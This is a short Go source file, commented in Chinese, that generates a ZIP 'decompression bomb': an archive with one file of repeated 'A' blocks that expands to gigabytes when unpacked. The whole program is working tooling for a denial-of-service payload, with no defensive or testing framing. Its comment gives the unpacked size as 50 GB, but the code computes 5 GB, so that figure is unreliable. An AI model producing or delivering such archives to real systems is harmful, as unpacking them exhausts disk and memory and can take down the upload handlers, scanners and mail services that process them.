package main

import (
	"archive/zip"
	"log"
	"os"
	"strings"
)

func createHighCompressionZipBomb(outputFile string, uncompressedSize int64, blockSize int) error {
	// 创建压缩文件
	outFile, err := os.Create(outputFile)
	if err != nil {
		return err
	}
	defer outFile.Close()

	// 创建 ZIP 写入器
	zipWriter := zip.NewWriter(outFile)
	defer zipWriter.Close()

	// 构造一个高度重复的数据块
	block := strings.Repeat("A", blockSize) // 例如：构造 1 MB 的 "A" 字符块
	data := strings.Repeat(block, int(uncompressedSize/int64(blockSize)))

	// 添加文件到 ZIP 中
	w, err := zipWriter.Create("high_compression_bomb.txt")
	if err != nil {
		return err
	}

	_, err = w.Write([]byte(data))
	if err != nil {
		return err
	}

	log.Printf("ZIP 文件创建完成：%s，未压缩大小：%d bytes", outputFile, uncompressedSize)
	return nil
}

func main() {
	// 创建一个模拟解压缩炸弹的 ZIP 文件
	outputFile := "high_compression_zip_bomb.zip"
	uncompressedSize := int64(5 * 1024 * 1024 * 1024) // 解压大小 50 GB
	blockSize := 1024 * 1024                         // 单个块大小 1 MB

	err := createHighCompressionZipBomb(outputFile, uncompressedSize, blockSize)
	if err != nil {
		log.Fatalf("创建高压缩率 ZIP 炸弹文件失败: %v", err)
	}
	log.Println("高压缩率 ZIP 炸弹文件创建成功！")
}
